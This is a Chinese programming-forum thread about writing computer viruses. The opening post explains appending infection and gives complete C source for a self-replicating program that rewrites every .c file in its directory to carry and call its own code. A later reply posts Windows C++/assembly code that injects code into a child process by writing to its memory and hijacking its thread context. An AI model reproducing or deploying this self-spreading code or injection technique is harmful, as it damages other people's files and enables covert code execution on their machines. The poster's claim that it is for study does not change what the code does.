|
1楼 本程序是我举的一个例子 为了叫大家理解就可以了 如果大家拿去捉弄人,我不负任何责任! 希望大家要以学习为重! 对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的 我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享 不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定 用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题, 再次声明这一切全是为了编程研究!!! 病毒的特点: 病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式 病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。 从程序的角度来说,我们要做的事情有两件: 1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序, 使它具备继续复制的能力。 2,在一定条件下使其产生某种发作效果。 其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染 文件的最后,同时在被感染文件中调用这个函数 下面给出c语言的实现过程: 1,主程序调用病毒功能函数 2,病毒功能函数读取查找同目录下所有c文件; 3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量; 4,重新创建一个同名文件(被感染c文件) 5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数 调用语句写入; 6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后; 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你 完全可以写一个TSR驻留函数 其实,这个程序勉强可以叫做病毒 根本不算是真正的病毒,好了就说这么多, 代码如下: #include <stdio.h> #include <dir.h> void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf[i],80,in); i++; }while(p!=NULL); fclose(in); out=fopen(ffblk.ff_name,"w+t"); fputs("#include<stdio.h>\n",out); fputs("#include<dir.h>\n",out); do { if(strstr(buf[j],main)!=NULL) { for(;j<i-1;j++) if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL) fputs(buf[j],out); else { if(flag==0) { flag=1; fputs("virus();\n",out); } fputs(buf[j],out); } } else if((strstr(buf[j],include[0])==NULL) &&(strstr(buf[j],include[1])==NULL)) { fputs(buf[j],out); j++; } else j++; }while(j<i-1); read=fopen(virus,"rt"); do { p=fgets(buffer,80,read); if(strstr(buffer,int_virus)) while(p!=NULL) { if(strstr(buffer,virus)==NULL) fputs(buffer,out); else { fputs(" char *virus=\"",out); fputs(ffblk.ff_name,out); fputs("\";\n",out); } p=fgets(buffer,80,read); } }while(p!=NULL); fclose(read); fclose(out); printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name); next: done = findnext(&ffblk); } return 0; } |
|
|
|
| 218.65.113.* |
6楼 |
|
|
| 221.215.233.* |
11楼 |
|
|
|
12楼 |
|
|
|
| 220.176.236.* |
13楼 |
|
|
| 61.150.49.* |
17楼 |
|
|
| 219.128.200.* |
18楼 |
|
|
| 218.18.72.* |
19楼 |
|
|
| 222.242.229.* |
20楼 个人觉得其实毁灭性病毒要比恶搞型病毒容易很多 |
|
|
| 219.137.149.* |
21楼 |
|
|
| 220.161.22.* |
23楼 windows下 #include <iostream.h> #include <stdlib.h> #include <windows.h> #include <conio.h> #include <tlhelp32.h> #define NULLPTR {\ _asm nop\ _asm nop\ _asm nop\ _asm nop\ } void WaitForKey() { cout<<"Press any key to continue"<<endl; getch(); } _declspec(naked) _stdcall MyCreateThread() { #define AddressOffset 0x100 #define FunOffset 20 nStart: _asm//4 { //CreateThread NULLPTR } _asm { pushfd pushad call vStart//5 vStart: pop eax sub eax,offset vStart add eax,offset nStart mov ebx,eax sub ebx,AddressOffset push NULL push NULL push ebx//param add ebx,FunOffset push ebx//address push NULL push NULL call dword ptr [eax] popad popfd ret } } _declspec(naked) _stdcall CopyFun(LPVOID lpStartAddress) { #define CALL_FUN(fun){\ _asm mov ebx,v##fun\ _asm add ebx,lpStartAddress\ _asm call [ebx]\ } #define vMessageBox 0 #define vLoadLibrary 4 #define vSleep 8 #define vGetModuleFileName 12 #define vExitProcess 16 _asm{ //vMessageBox://77D36476h NULLPTR //vLoadLibrary://77E5D961h NULLPTR //vSleep://77E41BEAh NULLPTR //vGetModuleFileName NULLPTR //vExitProcess NULLPTR } _asm { push ebp mov ebp,esp sub esp,100h } UINT nTxt[60]; nTxt[0]=0x72657355;//User nTxt[1]=0x3233;//32 _asm{ push 1000 CALL_FUN(Sleep); lea eax,nTxt push eax CALL_FUN(LoadLibrary); } _asm{ lea eax,nTxt push size nTxt push eax push 0 CALL_FUN(GetModuleFileName); lea eax,nTxt push 0 push 0 push eax push 0 CALL_FUN(MessageBox) push 0 CALL_FUN(ExitProcess) leave ret 4 } } void main() { DWORD dwWritten; LPBYTE lpMem; STARTUPINFO si={sizeof(si)}; PROCESS_INFORMATION ni; char cmdProcessB[]="Child.exe"; ::GetStartupInfo(&si); LPINT ApiFun[5],ApiFun2[1]; ApiFun[0]=(LPINT)MessageBoxW; ApiFun[1]=(LPINT)LoadLibraryA; ApiFun[2]=(LPINT)Sleep; ApiFun[3]=(LPINT)GetModuleFileNameW; ApiFun[4]=(LPINT)ExitProcess; ApiFun2[0]=(LPINT)CreateThread; if(!CreateProcess(NULL,cmdProcessB,NULL,NULL, false,0,NULL,NULL,&si,&ni)) { cout<<"Error Number is "<<GetLastError()<<endl; WaitForKey(); return; } Sleep(1000); lpMem=(LPBYTE)::VirtualAllocEx(ni.hProcess,NULL,0x200,MEM_COMMIT,PAGE_READWRITE); if(lpMem) { WriteProcessMemory(ni.hProcess,lpMem,(LPVOID)CopyFun,0x100,&dwWritten); WriteProcessMemory(ni.hProcess,lpMem, (LPVOID)ApiFun,sizeof(ApiFun),&dwWritten); WriteProcessMemory(ni.hProcess,lpMem+0x100,(LPVOID)MyCreateThread,0x100,&dwWritten); WriteProcessMemory(ni.hProcess,lpMem+0x100, (LPVOID)ApiFun2,sizeof(ApiFun2),&dwWritten); CONTEXT context={CONTEXT_INTEGER|CONTEXT_CONTROL}; GetThreadContext(ni.hThread,&context); context.Esp-=4; WriteProcessMemory(ni.hProcess,(LPVOID)context.Esp, (LPVOID)&context.Eip,sizeof(DWORD),&dwWritten); context.Eip=(ULONG)lpMem+0x100+sizeof(ApiFun2); SetThreadContext(ni.hThread,&context); } } |
|
|
| 220.161.22.* |
24楼 个人觉得其实毁灭性病毒要比恶搞型病毒容易很多 ------------------------- Hook to api |
|
|
| 220.161.22.* |
25楼 |
|
|
| 61.149.205.* |
29楼 |
|
|
| 220.175.12.* |
30楼 呵呵~~~~~~~~~~~~ 写起这个来了呀!! 我写一个,不写了,要是那个有什么坏蛋,我是主谋了 |
|
|
| 221.1.216.* |
31楼 只要大家搜索就行了!!!!!!!111 |
|
|
| 220.172.75.* |
33楼 QQ:81933797 |
|
|